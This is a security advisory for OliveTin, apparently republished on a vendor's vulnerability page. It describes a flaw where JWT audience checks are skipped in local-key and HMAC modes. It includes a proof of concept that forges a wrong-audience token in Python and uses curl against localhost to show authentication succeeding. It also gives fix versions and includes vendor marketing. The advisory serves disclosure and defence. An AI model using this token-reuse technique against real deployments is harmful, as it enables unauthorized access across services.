GHSA-g962-2j28-3cg9
HIGHOliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/OliveTin/OliveTinReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When JWT authentication is configured using either:
authJwtPubKeyPath(local RSA public key), orauthJwtHmacSecret(HMAC secret),
the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
Details
Affected Code
File: jwt.go
Lines: 51–59, 144–157, 161–168
Current Behavior
Remote JWKS Mode (Correct):
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
HMAC Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.
PoC
-
Configure OliveTin
Use a minimal config with JWT local key authentication:
authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience authRequireGuestsToLogin: true -
Generate a Wrong-Audience Token
python3 - <<EOF import jwt, datetime with open("private.pem") as f: key = f.read() token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" ) print(token) EOFThis prints the
$WRONG_AUD_TOKEN. -
Test Without Token (Baseline)
curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}'Expected response:
HTTP/1.1 401 Unauthorized -
Test With Wrong-Audience Token
curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}'Expected response:
HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}Authentication succeeds even though the
audclaim is incorrect.
Impact
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
- Cross-service token reuse
- Authentication using tokens issued for other systems
- Trust boundary violation in multi-service environments
This is particularly severe when:
- OliveTin is deployed behind a centralized SSO provider
- The same signing key is reused across services
- Audience restrictions are relied upon for service isolation
This does not bypass ACL authorization. It is strictly an authentication validation flaw.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260304231339-e97d8ecbd8d6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260304231339-e97d8ecbd8d6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g962-2j28-3cg9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g962-2j28-3cg9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-g962-2j28-3cg9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g962-2j28-3cg9 in your dependencies?
O3 detects GHSA-g962-2j28-3cg9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.